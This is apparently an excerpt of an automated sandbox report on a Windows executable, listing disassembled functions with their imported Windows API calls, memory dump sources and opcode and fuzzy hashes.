Opcode Fuzzy Hash: fadebd8b54f10f1951c29d3e9f7df512abc916790a43b14df76b265dc45515ba
Instruction Fuzzy Hash: CD418062E1868182EB24CB16F44426D6BA1FBD57B4F105335EBBD47AD9EF3CE4A4C600

Function 00007FF6FE1823F8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6FE18243E
GetWindowTextW.USER32 ref: 00007FF6FE182476
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE182505

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 107cbe78643896cd277503af9d79c84134f19e12336bfdef765791961383781f
Instruction ID: 7e2a53bb773c19833da40f80707f3f7e84a2f32c9abfe2432bee8e1e4d46e97c
Opcode Fuzzy Hash: 107cbe78643896cd277503af9d79c84134f19e12336bfdef765791961383781f
Instruction Fuzzy Hash: A9218162E18B8181EB10CB66A84016AA765FBD9BD0F145235FAAD43BD5EF3CD140C700

Function 00007FF6FE1A1F94 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FE1A205B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FE1A2077
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FE1A2093

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 7fdfb8b08260a68de66ecd622df27e98485fdb680c183650925e5cdb3d7d3185
Instruction ID: be06ef600659acc9f2ab803f9af1d4ec0eb20854dfc0742a3b1a866fed01f08d
Opcode Fuzzy Hash: 7fdfb8b08260a68de66ecd622df27e98485fdb680c183650925e5cdb3d7d3185
Instruction Fuzzy Hash: C1318352E0C68651FB25DB16E5443BD67A0FBE0B84F544032F26C866E5EF7CD98AC301

Function 00007FF6FE193D34 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,00000000,00000001,?,00007FF6FE1A07E1), ref: 00007FF6FE193D5E
SetFileAttributesW.KERNEL32 ref: 00007FF6FE193DB0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE193E1A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 9ad1da1d281fb88a90e37ecd930f681ad4649b1953909ec7c8adb17a28908e15
Instruction ID: f0a20377fee26c91904798823c2a11d3be9ab49962bd890ec76224ab0fea2af0
Opcode Fuzzy Hash: 9ad1da1d281fb88a90e37ecd930f681ad4649b1953909ec7c8adb17a28908e15
Instruction Fuzzy Hash: 6D21B822F1878141EB20CF26E45526D6761FFD8794F505230FAAE876D9FF2CD544C600

Function 00007FF6FE1931BC Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,00000000,00007FF6FE1A0822), ref: 00007FF6FE1931E7
DeleteFileW.KERNEL32 ref: 00007FF6FE193237
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1932A1

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 72c673f2880adfe6ea93f0d9f4cbebf29628e435fcdd813aa7a5852a82454db7
Instruction ID: 412abcea134be9c0d0f3b9b8cdd9105c09bd3da0d7221f1c83c9257b4b2b4390
Opcode Fuzzy Hash: 72c673f2880adfe6ea93f0d9f4cbebf29628e435fcdd813aa7a5852a82454db7
Instruction Fuzzy Hash: EA218822E1878181EF10CB26F44516E6761FBD9B94F501231FAAE866E9EF3CE541C600

Function 00007FF6FE1932BC Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,00007FF6FE19E5B1,?,?,?,00000000,?), ref: 00007FF6FE1932E7
GetFileAttributesW.KERNELBASE ref: 00007FF6FE193334
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE193399

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 40ad9405655d088623e5613f9ff1dd24c057f9c22428089c7716efbf5db7ae43
Instruction ID: a171695bcf903d0abf4abf5fedfc6baa2d583632fdb49af85228d44ac82a2530
Opcode Fuzzy Hash: 40ad9405655d088623e5613f9ff1dd24c057f9c22428089c7716efbf5db7ae43
Instruction Fuzzy Hash: 38213222E1878181EB10DB2AE44516D6761FBD9BA4F500231FAAE87BE9EF3CD545C604

Function 00007FF6FE1BBF64 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6FE1BBF48), ref: 00007FF6FE1BBF8C
TerminateProcess.KERNEL32(?,?,?,00007FF6FE1BBF48), ref: 00007FF6FE1BBF97
ExitProcess.KERNEL32 ref: 00007FF6FE1BBFA6

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction ID: 429e94813086885b67bad502069a1e311f643a393003548741d9cbf44be03ee8
Opcode Fuzzy Hash: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction Fuzzy Hash: 60E01A24F043054AEB64EF2698D57B92B52AFE8741F10543CE86EC27D6EE3DE8098600

Function 00007FF6FE18F578 Relevance: 3.2, APIs: 2, Instructions: 193COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F895
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18F89B

Part of subcall function 00007FF6FE193EC8: FindClose.KERNEL32(?,?,00000000,00007FF6FE1A0811), ref: 00007FF6FE193EFD

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 21c46d77b950ea35bda2759f2243ea4bc63597e1e47bf800543df0ca52747642
Instruction ID: 05c53565fcfa9457c505c8281f36d1915c1b6f7f6c77cd9e3ff9460681ee16d3
Opcode Fuzzy Hash: 21c46d77b950ea35bda2759f2243ea4bc63597e1e47bf800543df0ca52747642
Instruction Fuzzy Hash: C591B172E18B8580EB10DF26D4441AD6B61FBE9798F904135FA6C87AE9EF7CD685C300

Function 00007FF6FE183904 Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE183AB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE183AB9

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d8910a2eb58a838c5587a3fb2cf76da8f141fd94dedfaf734860978819007f6c
Instruction ID: 17dd1c593271ec43ad80f2da1141a4d09fa93d10bdb5c6b0f83d6ec9e9275a5d
Opcode Fuzzy Hash: d8910a2eb58a838c5587a3fb2cf76da8f141fd94dedfaf734860978819007f6c
Instruction Fuzzy Hash: D241A662F1865284FB00DBB2D4402BD2B21AFE4B94F185235FE2EA7BD9EE389545C300

Function 00007FF6FE192778 Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000002,?,00000F99,?,00007FF6FE19274D), ref: 00007FF6FE1928A9
GetLastError.KERNEL32(?,00007FF6FE19274D), ref: 00007FF6FE1928B8

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction ID: df9fc658154c3a992133dbe195d5d2561d41dd9f5ff0fab6c5397ce2315826b0
Opcode Fuzzy Hash: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction Fuzzy Hash: 4B317422F1955682FB60CA6BE5406BD6B94AFE4BD4F140131EE2D977E4EE3CE481C640

Function 00007FF6FE1822BC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6FE1822F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1823F0

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 5a2890223aea6d88e53338121990f25a14a9249d0429ebf34ef8f54134bab86e
Instruction ID: 74372b66569041d74925d5003f66db46109aff880230b05a0899ac2293295ddd
Opcode Fuzzy Hash: 5a2890223aea6d88e53338121990f25a14a9249d0429ebf34ef8f54134bab86e
Instruction Fuzzy Hash: C931B022E1874182EB21CB16E4543AAB761EBE8790F404231FAAD87BE5EF3CE544C700

Function 00007FF6FE192AD0 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF6FE192AFE
SetFileTime.KERNELBASE ref: 00007FF6FE192B9B

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction ID: 0edc0d719b239e331a750b00dcee6b264b3c57ff2ec87afd7c48882857cdacc4
Opcode Fuzzy Hash: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction Fuzzy Hash: 9D219C22E09B4291FB62CE12E4447BE5AD4BFE2794F154031EE5D862D9FE3CE48AC200

Function 00007FF6FE19AAE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6FE19AB67
LoadStringW.USER32 ref: 00007FF6FE19AB80

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction ID: cfcf177912ebda7be002e9751db7d3ef48a66c573a91c948cd9204314cfa56c1
Opcode Fuzzy Hash: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction Fuzzy Hash: 83114F61F08A5285E700CF17A8441697BA1BBE8FD0F544535EA2EE3BA4EF7CE5518344

Function 00007FF6FE192BB0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6FE192C11
GetLastError.KERNEL32 ref: 00007FF6FE192C1E

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction ID: 0a924dc8e39341a8f6f81dd7c52fe6be76a985abf4fdcd611eeeffaeabc3643e
Opcode Fuzzy Hash: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction Fuzzy Hash: C0116621E0864181FB60CB26E44166D6A50FBE5BA4F544331FA7D966D8EF3CE592C300

Function 00007FF6FE18255C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE19A4AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FE19A504
Part of subcall function 00007FF6FE19A4AC: SetDlgItemTextW.USER32 ref: 00007FF6FE19A573
Part of subcall function 00007FF6FE19A4AC: GetWindowRect.USER32 ref: 00007FF6FE19A5AD
Part of subcall function 00007FF6FE19A4AC: GetClientRect.USER32 ref: 00007FF6FE19A5BB

GetDlgItem.USER32 ref: 00007FF6FE1825AC
SetWindowTextW.USER32 ref: 00007FF6FE1825C8

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ItemRectTextWindow$Clientswprintf
String ID:
API String ID: 3322643685-0
Opcode ID: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction ID: 49b4b16e48707fa4a9581746c53916f79093e076078c2674e58b22d3e8aecaac
Opcode Fuzzy Hash: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction Fuzzy Hash: 5E01B160E0D64B41FF4ADB53A4682BA1F916FE5740F080032F82D866D9FE6CF985C300

Function 00007FF6FE19EB58 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6FE19EBAD,?,?,?,?,00007FF6FE195752,?,?,?,00007FF6FE1956DE), ref: 00007FF6FE19EB5C
GetProcessAffinityMask.KERNEL32 ref: 00007FF6FE19EB6F

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction ID: e3a6573e25e804eb265285eb0adacb32d6b1aa53d43cb174ea8fdfb41e22d8d1
Opcode Fuzzy Hash: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction Fuzzy Hash: B5E06561F1458646DB59CB5AC8915EE67D2BFD8B40F848036E60BC3658EE2DE5458B00

Function 00007FF6FE1B21D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE1B2200

Part of subcall function 00007FF6FE1B2F7C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FE1B2F85

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE1B2206

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 14867973fed18b2c44dc58e1bcd5f94848bfca26dcf41195b9c376eff134a452
Instruction ID: 299d420f276d8c67eea961faec1309638e001a79fa79ff66eb47908ccc7dcb88
Opcode Fuzzy Hash: 14867973fed18b2c44dc58e1bcd5f94848bfca26dcf41195b9c376eff134a452
Instruction Fuzzy Hash: 96E0BD40E0A10B45FB28B26719261B509405FF93B0E185B30FA3EC87D6BE1CA59AC110

Function 00007FF6FE1BD90C Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6FE1BD922
GetLastError.KERNEL32 ref: 00007FF6FE1BD934

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

